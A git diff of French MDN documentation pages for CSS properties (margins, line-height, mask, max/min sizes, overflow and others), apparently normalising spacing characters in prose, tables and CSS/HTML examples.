a/files/fr/web/css/layout_cookbook/pagination/index.md b/files/fr/web/css/layout_cookbook/pagination/index.md index 07f6e5ee37..a531196b4d 100644 --- a/files/fr/web/css/layout_cookbook/pagination/index.md +++ b/files/fr/web/css/layout_cookbook/pagination/index.md @@ -38,11 +38,11 @@ Lorsque la propriété {{cssxref("column-gap")}} sera plus largement implément ```css .pagination { - list-style: none; - margin: 0; - padding: 0; - display: flex; - column-gap: 2px; + list-style: none; + margin: 0; + padding: 0; + display: flex; + column-gap: 2px; } ``` diff --git a/files/fr/web/css/line-height-step/index.md b/files/fr/web/css/line-height-step/index.md index 83db5a0e6f..531843f6ab 100644 --- a/files/fr/web/css/line-height-step/index.md +++ b/files/fr/web/css/line-height-step/index.md @@ -36,13 +36,13 @@ Dans l'exemple suivant, la hauteur de la boîte des lignes pour chaque paragraph ```css :root { - font-size: 12pt; - --my-grid: 18pt; - line-height-step: var(--my-grid); + font-size: 12pt; + --my-grid: 18pt; + line-height-step: var(--my-grid); } h1 { - font-size: 20pt; - margin-top: calc(2 * var(--my-grid)); + font-size: 20pt; + margin-top: calc(2 * var(--my-grid)); } ``` diff --git a/files/fr/web/css/line-height/index.md b/files/fr/web/css/line-height/index.md index 8282f70b7f..69adec2fa3 100644 --- a/files/fr/web/css/line-height/index.md +++ b/files/fr/web/css/line-height/index.md @@ -52,7 +52,7 @@ La propriété `line-height` peut être définie grâce : ### Valeurs - `normal` - - : Le comportement dépend de l'agent utilisateur. Pour les navigateurs de bureau, l'agent utilisateur prend généralement une valeur environ égale à 1.2 selon la valeur de `font-family`. + - : Le comportement dépend de l'agent utilisateur. Pour les navigateurs de bureau, l'agent utilisateur prend généralement une valeur environ égale à 1.2 selon la valeur de `font-family`. - `<number>` - : La valeur utilisée est **sans unité** (type {{cssxref("<number>")}}) et correspond à un facteur multiplicateur de la taille de fonte utilisée. La valeur calculée est la même que celle définie avec `<number>`. Dans la plupart des cas, c'est la méthode qu'on privilégiera pour définir `line-height` et éviter les effets de l'héritage. - `<length>` @@ -75,7 +75,7 @@ La propriété `line-height` peut être définie grâce : div { line-height: 1.2; font-size: 10pt } /* number */ div { line-height: 1.2em; font-size: 10pt } /* length */ div { line-height: 120%; font-size: 10pt } /* percentage */ -div { font: 10pt/1.2 Georgia,"Bitstream Charter",serif } +div { font: 10pt/1.2 Georgia,"Bitstream Charter",serif } ``` ### Notes diff --git a/files/fr/web/css/margin-block-end/index.md b/files/fr/web/css/margin-block-end/index.md index 4729fd9213..55eda0fd63 100644 --- a/files/fr/web/css/margin-block-end/index.md +++ b/files/fr/web/css/margin-block-end/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/margin-block-end --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`margin-block-end`** définit la marge logique appliquée à la fin des éléments de bloc, selon le mode d'écriture, la directionnalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}. +La propriété **`margin-block-end`** définit la marge logique appliquée à la fin des éléments de bloc, selon le mode d'écriture, la directionnalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}. {{EmbedInteractiveExample("pages/css/margin-block-end.html")}}Cette propriété est à rapprocher de {{cssxref("margin-block-start")}}, {{cssxref("margin-inline-end")}} et de {{cssxref("margin-inline-start")}} qui définissent les autres marges appliquées à l'élément. diff --git a/files/fr/web/css/margin-block-start/index.md b/files/fr/web/css/margin-block-start/index.md index 4dc2eea34d..91e9cc9344 100644 --- a/files/fr/web/css/margin-block-start/index.md +++ b/files/fr/web/css/margin-block-start/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/margin-block-start --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`margin-block-start`** définit la marge logique appliquée au début des éléments en bloc, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}. +La propriété **`margin-block-start`** définit la marge logique appliquée au début des éléments en bloc, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}. {{EmbedInteractiveExample("pages/css/margin-block-start.html")}} diff --git a/files/fr/web/css/margin-block/index.md b/files/fr/web/css/margin-block/index.md index 0e5ed13c26..8815879177 100644 --- a/files/fr/web/css/margin-block/index.md +++ b/files/fr/web/css/margin-block/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/margin-block --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`margin-block`** définit la marge sur les côtés de l'élément qui sont ceux de l'axe de bloc. Cette propriété logique peut correspondre à différentes marges selon le mode d'écriture de l'élément, sa direction ou l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("margin-top")}} et {{cssxref("margin-bottom")}} ou à {{cssxref("margin-right")}} et {{cssxref("margin-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`margin-block`** définit la marge sur les côtés de l'élément qui sont ceux de l'axe de bloc. Cette propriété logique peut correspondre à différentes marges selon le mode d'écriture de l'élément, sa direction ou l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("margin-top")}} et {{cssxref("margin-bottom")}} ou à {{cssxref("margin-right")}} et {{cssxref("margin-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. ```css /* Valeurs de longueur */ @@ -86,5 +86,5 @@ div { ## Voir aussi -- Les propriétés physiques correspondantes : {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-left")}} +- Les propriétés physiques correspondantes : {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-left")}} - Les propriétés qui influencent les propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}} diff --git a/files/fr/web/css/margin-inline-end/index.md b/files/fr/web/css/margin-inline-end/index.md index bbe3597bf1..3f53da9a6a 100644 --- a/files/fr/web/css/margin-inline-end/index.md +++ b/files/fr/web/css/margin-inline-end/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/margin-inline-end --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`margin-inline-end`** définit la marge logique appliquée à la fin des éléments en ligne, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}. +La propriété **`margin-inline-end`** définit la marge logique appliquée à la fin des éléments en ligne, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}. {{EmbedInteractiveExample("pages/css/margin-inline-end.html")}} diff --git a/files/fr/web/css/margin-inline-start/index.md b/files/fr/web/css/margin-inline-start/index.md index f457427a1c..338eea724d 100644 --- a/files/fr/web/css/margin-inline-start/index.md +++ b/files/fr/web/css/margin-inline-start/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/margin-inline-start --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`margin-inline-start`** définit la marge logique appliquée au début des éléments en ligne, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}. +La propriété **`margin-inline-start`** définit la marge logique appliquée au début des éléments en ligne, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}. {{EmbedInteractiveExample("pages/css/margin-inline-start.html")}} diff --git a/files/fr/web/css/margin-inline/index.md b/files/fr/web/css/margin-inline/index.md index 9a374a5564..25a58195fb 100644 --- a/files/fr/web/css/margin-inline/index.md +++ b/files/fr/web/css/margin-inline/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/margin-inline --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`margin-inline`** définit la marge sur les côtés de l'élément qui sont ceux de l'axe en ligne. Cette propriété logique peut correspondre à différentes marges selon le mode d'écriture de l'élément, sa direction ou l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("margin-top")}} et {{cssxref("margin-bottom")}} ou à {{cssxref("margin-right")}} et {{cssxref("margin-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`margin-inline`** définit la marge sur les côtés de l'élément qui sont ceux de l'axe en ligne. Cette propriété logique peut correspondre à différentes marges selon le mode d'écriture de l'élément, sa direction ou l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("margin-top")}} et {{cssxref("margin-bottom")}} ou à {{cssxref("margin-right")}} et {{cssxref("margin-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. ```css /* Valeurs de longueur */ @@ -86,5 +86,5 @@ div { ## Voir aussi -- Les propriétés physiques correspondantes : {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-left")}} +- Les propriétés physiques correspondantes : {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-left")}} - Les propriétés qui influencent les propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}} diff --git a/files/fr/web/css/margin-left/index.md b/files/fr/web/css/margin-left/index.md index e80263ac29..cdf9dce017 100644 --- a/files/fr/web/css/margin-left/index.md +++ b/files/fr/web/css/margin-left/index.md @@ -164,13 +164,13 @@ La valeur de cette propriété peut être le mot-clé `auto`, une longueur (`<le </p> <p class=exemple> Alice s’avança pour les regarder, et, au moment où - elle approchait, elle en entendit un qui disait : - « Fais donc attention, Cinq, et ne m’éclabousse pas - ainsi avec ta peinture. » + elle approchait, elle en entendit un qui disait : + « Fais donc attention, Cinq, et ne m’éclabousse pas + ainsi avec ta peinture. » </p> <p> - « Ce n’est pas de ma faute, » dit Cinq d’un ton - bourru, « c’est Sept qui m’a poussé le coude. » + « Ce n’est pas de ma faute, » dit Cinq d’un ton + bourru, « c’est Sept qui m’a poussé le coude. » </p> ``` diff --git a/files/fr/web/css/margin-right/index.md b/files/fr/web/css/margin-right/index.md index 7bf9c09f0e..100ce0fa9a 100644 --- a/files/fr/web/css/margin-right/index.md +++ b/files/fr/web/css/margin-right/index.md @@ -162,13 +162,13 @@ La valeur de cette propriété peut être le mot-clé `auto`, une longueur (`<le </p> <p class=exemple> Alice s’avança pour les regarder, et, au moment où - elle approchait, elle en entendit un qui disait : - « Fais donc attention, Cinq, et ne m’éclabousse pas - ainsi avec ta peinture. » + elle approchait, elle en entendit un qui disait : + « Fais donc attention, Cinq, et ne m’éclabousse pas + ainsi avec ta peinture. » </p> <p> - « Ce n’est pas de ma faute, » dit Cinq d’un ton - bourru, « c’est Sept qui m’a poussé le coude. » + « Ce n’est pas de ma faute, » dit Cinq d’un ton + bourru, « c’est Sept qui m’a poussé le coude. » </p> ``` diff --git a/files/fr/web/css/margin/index.md b/files/fr/web/css/margin/index.md index d59ed50cf2..d8647fbf8a 100644 --- a/files/fr/web/css/margin/index.md +++ b/files/fr/web/css/margin/index.md @@ -71,13 +71,13 @@ Cette propriété peut accepter une, deux, trois ou quatre valeurs avec les type ```css .ex1 { - margin: auto; - background: gold; - width: 66%; + margin: auto; + background: gold; + width: 66%; } .ex2 { - margin: 20px 0px 0 -20px; - background: gold; + margin: 20px 0px 0 -20px; + background: gold; width: 66%; } ``` @@ -86,14 +86,14 @@ Cette propriété peut accepter une, deux, trois ou quatre valeurs avec les type ```html <div class="ex1"> - margin: auto; - background: gold; - width: 66%; + margin: auto; + background: gold; + width: 66%; </div> <div class="ex2"> - margin: 20px 0px 0px -20px; - background: gold; - width: 66%; + margin: 20px 0px 0px -20px; + background: gold; + width: 66%; </div> ``` diff --git a/files/fr/web/css/mask-border-slice/index.md b/files/fr/web/css/mask-border-slice/index.md index 9809d2497f..8bc2240b08 100644 --- a/files/fr/web/css/mask-border-slice/index.md +++ b/files/fr/web/css/mask-border-slice/index.md @@ -22,7 +22,7 @@ Le diagramme ci-avant illustre l'emplacement de chaque région. - Les zones 5 à 8 sont les zones de côtés. Ces zones peuvent être [répétées, redimensionnées, ou modifiées](/fr/docs/Web/CSS/mask-border-repeat) afin que le masque de bordule final aient les mêmes dimensions que l'élément. - La zone 9 est la zone centrale. Par défaut, elle n'est pas utilisée mais elle pourra être utilisée comme image d'arrière-plan si le mot-clé `fill` est utilisé. -Les propriétés {{cssxref("mask-border-repeat")}}, {{cssxref("mask-border-width")}} et {{cssxref("mask-border-outset")}} déterminent la façon dont ces régions sont utilisées pour construire le masque final. +Les propriétés {{cssxref("mask-border-repeat")}}, {{cssxref("mask-border-width")}} et {{cssxref("mask-border-outset")}} déterminent la façon dont ces régions sont utilisées pour construire le masque final. ## Syntaxe diff --git a/files/fr/web/css/mask/index.md b/files/fr/web/css/mask/index.md index 3b86121fda..80e7d2e677 100644 --- a/files/fr/web/css/mask/index.md +++ b/files/fr/web/css/mask/index.md @@ -78,7 +78,7 @@ mask: unset; ```css .exemple{ - mask:url(https://developer.mozilla.org/static/img/favicon72.png) luminance 20%; + mask:url(https://developer.mozilla.org/static/img/favicon72.png) luminance 20%; } ``` diff --git a/files/fr/web/css/max-height/index.md b/files/fr/web/css/max-height/index.md index 6e20a91a3a..b93c839434 100644 --- a/files/fr/web/css/max-height/index.md +++ b/files/fr/web/css/max-height/index.md @@ -52,7 +52,7 @@ max-height: unset; - `min-content` {{experimental_inline}} - : La hauteur intrinsèque minimale. - `fill-available`{{experimental_inline}} - - : La hauteur du bloc englobant moins la marge verticale, la bordure et le remplissage (_padding_). Certains navigateurs implémentent cette valeur avec un ancien nom : `available`. + - : La hauteur du bloc englobant moins la marge verticale, la bordure et le remplissage (_padding_). Certains navigateurs implémentent cette valeur avec un ancien nom : `available`. - `fit-content` {{experimental_inline}} - : Un synonyme pour `max-content`. @@ -66,10 +66,10 @@ max-height: unset; ```html <div> Lorem ipsum tralala sit amet, consectetur adipisicing - <p> + <p> Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. - </p> + </p> </div> ``` diff --git a/files/fr/web/css/max-width/index.md b/files/fr/web/css/max-width/index.md index 330c750484..79273a5def 100644 --- a/files/fr/web/css/max-width/index.md +++ b/files/fr/web/css/max-width/index.md @@ -66,10 +66,10 @@ max-width: unset; ```html <div> Lorem ipsum tralala sit amet, consectetur adipisicing - <p> + <p> Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. - </p> + </p> </div> ``` diff --git a/files/fr/web/css/media_queries/index.md b/files/fr/web/css/media_queries/index.md index b53dfe7249..352384133b 100644 --- a/files/fr/web/css/media_queries/index.md +++ b/files/fr/web/css/media_queries/index.md @@ -39,10 +39,10 @@ Vous pouvez en découvrir plus dans l'article [Tester des requêtes media](/fr/d | Spécification | État | Commentaires | | ------------------------------------------------ | ---------------------------------------- | -------------------- | -| {{SpecName('CSS5 Media Queries')}} | {{Spec2('CSS5 Media Queries')}} | | -| {{SpecName('CSS3 Conditional')}} | {{Spec2('CSS3 Conditional')}} | | -| {{SpecName('CSS4 Media Queries')}} | {{Spec2('CSS4 Media Queries')}} | | -| {{SpecName('CSS3 Media Queries')}} | {{Spec2('CSS3 Media Queries')}} | | +| {{SpecName('CSS5 Media Queries')}} | {{Spec2('CSS5 Media Queries')}} | | +| {{SpecName('CSS3 Conditional')}} | {{Spec2('CSS3 Conditional')}} | | +| {{SpecName('CSS4 Media Queries')}} | {{Spec2('CSS4 Media Queries')}} | | +| {{SpecName('CSS3 Media Queries')}} | {{Spec2('CSS3 Media Queries')}} | | | {{SpecName('CSS2.1', 'media.html')}} | {{Spec2('CSS2.1')}} | Définition initiale. | ## Voir aussi diff --git a/files/fr/web/css/media_queries/testing_media_queries/index.md b/files/fr/web/css/media_queries/testing_media_queries/index.md index 072c3e63c5..c407a9a6bf 100644 --- a/files/fr/web/css/media_queries/testing_media_queries/index.md +++ b/files/fr/web/css/media_queries/testing_media_queries/index.md @@ -61,7 +61,7 @@ function handleOrientationChange(mql) { ## Terminer la réception des notifications -Lorsqu'on ne souhaite plus recevoir de notifications sur les modifications apportées à la valeur de la requête média, on pourra simplement utiliser `removeListener()` sur l'objet {{domxref("MediaQueryList") }} : +Lorsqu'on ne souhaite plus recevoir de notifications sur les modifications apportées à la valeur de la requête média, on pourra simplement utiliser `removeListener()` sur l'objet {{domxref("MediaQueryList") }} : ```js mql.removeListener(handleOrientationChange); diff --git a/files/fr/web/css/min-block-size/index.md b/files/fr/web/css/min-block-size/index.md index 3ce41af49e..ececdb5ae2 100644 --- a/files/fr/web/css/min-block-size/index.md +++ b/files/fr/web/css/min-block-size/index.md @@ -14,7 +14,7 @@ La propriété **`min-block-size`** définit la taille minimale horizontale ou v {{EmbedInteractiveExample("pages/css/min-block-size.html")}} -Si le mode d'écriture est orienté verticalement, `min-block-size` fait référence à la hauteur minimale de l'élément. Sinon, elle fait référence à la largeur minimale de l'élément. to the minimal height of the element, otherwise it relates to the minimal width of the element. La propriété {{cssxref("min-inline-size")}} peut être utilisée pour les éléments en ligne. +Si le mode d'écriture est orienté verticalement, `min-block-size` fait référence à la hauteur minimale de l'élément. Sinon, elle fait référence à la largeur minimale de l'élément. to the minimal height of the element, otherwise it relates to the minimal width of the element. La propriété {{cssxref("min-inline-size")}} peut être utilisée pour les éléments en ligne. ## Syntaxe diff --git a/files/fr/web/css/min-inline-size/index.md b/files/fr/web/css/min-inline-size/index.md index 3b7bc6590d..013d1656c8 100644 --- a/files/fr/web/css/min-inline-size/index.md +++ b/files/fr/web/css/min-inline-size/index.md @@ -15,7 +15,7 @@ La propriété **`min-inline-size`** définit la taille minimale horizontale ou {{EmbedInteractiveExample("pages/css/min-inline-size.html")}} -Si le mode d'écriture est orienté verticalement, `min-inline-size` fait référence à la hauteur minimale de l'élément. Sinon, elle fait référence à la largeur minimale de l'élément. to the minimal height of the element, otherwise it relates to the minimal width of the element. La propriété {{cssxref("min-block-size")}} peut être utilisée pour les blocs. +Si le mode d'écriture est orienté verticalement, `min-inline-size` fait référence à la hauteur minimale de l'élément. Sinon, elle fait référence à la largeur minimale de l'élément. to the minimal height of the element, otherwise it relates to the minimal width of the element. La propriété {{cssxref("min-block-size")}} peut être utilisée pour les blocs. ## Syntaxe diff --git a/files/fr/web/css/min-width/index.md b/files/fr/web/css/min-width/index.md index b2b29ec525..f87bbbec5f 100644 --- a/files/fr/web/css/min-width/index.md +++ b/files/fr/web/css/min-width/index.md @@ -65,10 +65,10 @@ min-width: unset; ```html <div> Lorem ipsum tralala sit amet, consectetur adipisicing - <p> - Ut enim ad minim veniam, quis nostrud exercitation - ullamco laboris nisi ut aliquip ex ea commodo consequat. - </p> + <p> + Ut enim ad minim veniam, quis nostrud exercitation + ullamco laboris nisi ut aliquip ex ea commodo consequat. + </p> </div> ``` diff --git a/files/fr/web/css/offset-position/index.md b/files/fr/web/css/offset-position/index.md index 6338de06f9..ecf9e8b56a 100644 --- a/files/fr/web/css/offset-position/index.md +++ b/files/fr/web/css/offset-position/index.md @@ -5,7 +5,7 @@ translation_of: Web/CSS/offset-position --- {{CSSRef}}{{seecompattable}} -La propriété [CSS](/fr/docs/Web/CSS) **`offset-position`** définit la [position initiale](https://www.w3.org/TR/motion-1/#valdef-offsetpath-initial-position) de {{cssxref("offset-path")}}. +La propriété [CSS](/fr/docs/Web/CSS) **`offset-position`** définit la [position initiale](https://www.w3.org/TR/motion-1/#valdef-offsetpath-initial-position) de {{cssxref("offset-path")}}. ## Syntax @@ -43,7 +43,7 @@ offset-position: unset; - `auto` - : La position initiale est la position de la boîte spécifiée par la propriété {{cssxref("position")}}. - `<position>` - - : Une {{cssxref("<position>")}}. Une position définit des coordonnées x/y pour positionner un élément de façon relative aux bords de la boîte de cet élément. Elles peuvent être définies en utilisant une à quatre valeurs. Si deux valeurs qui ne sont pas des mots clefs sont utilisées, la première valeur représente la position horizontale et la seconde représente la position verticale. Si seulement une valeur est définie, la seconde est considérée comme `center`. Si trois ou quatre valeurs sont utilisées, les valeurs en pourcentage sont des écarts du mot clef qui les précéde. Pour plus d'explications sur ces types de valeur, consultez {{cssxref("background-position")}}. + - : Une {{cssxref("<position>")}}. Une position définit des coordonnées x/y pour positionner un élément de façon relative aux bords de la boîte de cet élément. Elles peuvent être définies en utilisant une à quatre valeurs. Si deux valeurs qui ne sont pas des mots clefs sont utilisées, la première valeur représente la position horizontale et la seconde représente la position verticale. Si seulement une valeur est définie, la seconde est considérée comme `center`. Si trois ou quatre valeurs sont utilisées, les valeurs en pourcentage sont des écarts du mot clef qui les précéde. Pour plus d'explications sur ces types de valeur, consultez {{cssxref("background-position")}}. ## Définition formelle diff --git a/files/fr/web/css/opacity/index.md b/files/fr/web/css/opacity/index.md index 1f6f054b5f..ca25297b2b 100644 --- a/files/fr/web/css/opacity/index.md +++ b/files/fr/web/css/opacity/index.md @@ -125,7 +125,7 @@ img.opacity:hover { Si l'opacité du texte est modifiée, il est nécessaire de vérifier que le contraste entre la couleur du texte et l'arrière-plan est suffisant pour que le texte soit lisible, y compris pour les personnes souffrant de trouble de la vision. -Le ratio de contraste est déterminé en comparant la luminosité de la couleur du texte (dont l'opacité a été adaptée) et celle de l'arrière-plan. Les recommandations du [WCAG](https://www.w3.org/WAI/intro/wcag) conseillent un ratio de 4.5:1 pour les textes normaux et 3:1 pour les textes plus grands (un texte est considéré comme grand s'il est en gras et dont les lettres mesurent 18.66px ou si ses lettres mesurent 24px ou plus). +Le ratio de contraste est déterminé en comparant la luminosité de la couleur du texte (dont l'opacité a été adaptée) et celle de l'arrière-plan. Les recommandations du [WCAG](https://www.w3.org/WAI/intro/wcag) conseillent un ratio de 4.5:1 pour les textes normaux et 3:1 pour les textes plus grands (un texte est considéré comme grand s'il est en gras et dont les lettres mesurent 18.66px ou si ses lettres mesurent 24px ou plus). - [Vérificateur de contraste WebAIM](https://webaim.org/resources/contrastchecker/) - [Comprendre les règles WCAG 1.4](/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background) diff --git a/files/fr/web/css/order/index.md b/files/fr/web/css/order/index.md index 1c00e89369..b34c47a7ad 100644 --- a/files/fr/web/css/order/index.md +++ b/files/fr/web/css/order/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/order --- {{CSSRef}} -La propriété **`order`** définit l'ordre avec lequel on dessine les éléments d'un conteneur d'éléments flexibles ou d'une grille d'éléments. Les éléments sont appliqués dans l'ordre croissant des valeurs de `order`. Les éléments ayant la même valeur pour `order` seront appliqués dans l'ordre selon lequel ils apparaissent dans le code source du document. +La propriété **`order`** définit l'ordre avec lequel on dessine les éléments d'un conteneur d'éléments flexibles ou d'une grille d'éléments. Les éléments sont appliqués dans l'ordre croissant des valeurs de `order`. Les éléments ayant la même valeur pour `order` seront appliqués dans l'ordre selon lequel ils apparaissent dans le code source du document. {{EmbedInteractiveExample("pages/css/order.html")}} diff --git a/files/fr/web/css/outline-color/index.md b/files/fr/web/css/outline-color/index.md index 74e13e5780..cc4800266f 100644 --- a/files/fr/web/css/outline-color/index.md +++ b/files/fr/web/css/outline-color/index.md @@ -62,9 +62,9 @@ La propriété `outline-color` est définie avec une des valeurs listées ci-apr ```css .exemple { - /* Tout d'abord on utiliser outline */ + /* Tout d'abord on utiliser outline */ /* pour définir le contour */ - outline: 2px solid; + outline: 2px solid; /* Ensuite on précise sa couleur avec */ /* outline-color */ diff --git a/files/fr/web/css/outline/index.md b/files/fr/web/css/outline/index.md index 25c76f72da..1b59d4c6ed 100644 --- a/files/fr/web/css/outline/index.md +++ b/files/fr/web/css/outline/index.md @@ -117,7 +117,7 @@ Utiliser la propriété `outline` avec une valeur `0` ou `none` supprimera le st - {{cssxref(":focus")}} - [Comment concevoir des indicateurs de focus utiles et utilisables (en anglais)](https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/) -- [_Understanding Success Criterion 2.4.7 | Understanding WCAG 2.0_ (en anglais)](https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-focus-visible.html) +- [_Understanding Success Criterion 2.4.7 | Understanding WCAG 2.0_ (en anglais)](https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-focus-visible.html) ## Spécifications diff --git a/files/fr/web/css/overflow-anchor/guide_to_scroll_anchoring/index.md b/files/fr/web/css/overflow-anchor/guide_to_scroll_anchoring/index.md index ea37884c8f..856b706b44 100644 --- a/files/fr/web/css/overflow-anchor/guide_to_scroll_anchoring/index.md +++ b/files/fr/web/css/overflow-anchor/guide_to_scroll_anchoring/index.md @@ -35,7 +35,7 @@ Pour désactiver l'ancrage sur l'ensemble du document, on pourra appliquer la pr ```css body { - overflow-anchor: none; + overflow-anchor: none; } ``` @@ -43,7 +43,7 @@ Pour désactiver cette fonctionnalité sur une certaine partie du document, on c ```css .container { - overflow-anchor: none; + overflow-anchor: none; } ``` diff --git a/files/fr/web/css/overflow-block/index.md b/files/fr/web/css/overflow-block/index.md index 5d6a858d0f..9a46f393db 100644 --- a/files/fr/web/css/overflow-block/index.md +++ b/files/fr/web/css/overflow-block/index.md @@ -104,7 +104,7 @@ La propriété `overflow-block` se définit avec un mot-clé parmi ceux de la li | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('CSS3 Overflow', '#propdef-overflow-block', 'overflow-block')}} | {{Spec2('CSS3 Overflow')}} | | +| {{SpecName('CSS3 Overflow', '#propdef-overflow-block', 'overflow-block')}} | {{Spec2('CSS3 Overflow')}} | | {{cssinfo}} diff --git a/files/fr/web/css/overflow-inline/index.md b/files/fr/web/css/overflow-inline/index.md index 645ef86b07..6b591d8042 100644 --- a/files/fr/web/css/overflow-inline/index.md +++ b/files/fr/web/css/overflow-inline/index.md @@ -104,7 +104,7 @@ La propriété `overflow-inline` se définit avec un mot-clé parmi ceux de la l | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('CSS3 Overflow', '#propdef-overflow-inline', 'overflow-inline')}} | {{Spec2('CSS3 Overflow')}} | | +| {{SpecName('CSS3 Overflow', '#propdef-overflow-inline', 'overflow-inline')}} | {{Spec2('CSS3 Overflow')}} | | {{cssinfo}} diff --git a/files/fr/web/css/overflow-wrap/index.md b/files/fr/web/css/overflow-wrap/index.md index 3339efb978..21f7847642 100644 --- a/files/fr/web/css/overflow-wrap/index.md +++ b/files/fr/web/css/overflow-wrap/index.md @@ -70,7 +70,7 @@ p { } .hyphens { - -webkit-hyphens: auto; + -webkit-hyphens: auto; -ms-hyphens: auto; hyphens: auto; } diff --git a/files/fr/web/css/overflow-x/index.md b/files/fr/web/css/overflow-x/index.md index 8dc2978616..2c2e8127e5 100644 --- a/files/fr/web/css/overflow-x/index.md +++ b/files/fr/web/css/overflow-x/index.md @@ -113,7 +113,7 @@ La propriété `overflow-x` est définie avec l'un des mots-clés définis ci-ap | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('CSS3 Overflow', '#propdef-overflow-x', 'overflow-x')}} | {{Spec2('CSS3 Overflow')}} | | +| {{SpecName('CSS3 Overflow', '#propdef-overflow-x', 'overflow-x')}} | {{Spec2('CSS3 Overflow')}} | | {{cssinfo}} diff --git a/files/fr/web/css/overflow-y/index.md b/files/fr/web/css/overflow-y/index.md index b4aa6b9e1c..6cd79717f8 100644 --- a/files/fr/web/css/overflow-y/index.md +++ b/files/fr/web/css/overflow-y/index.md @@ -117,7 +117,7 @@ La propriété `overflow-y` est définie avec un des mots-clés définis ci-apr | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('CSS3 Overflow', '#propdef-overflow-y', 'overflow-y')}} | {{Spec2('CSS3 Overflow')}} | | +| {{SpecName('CSS3 Overflow', '#propdef-overflow-y', 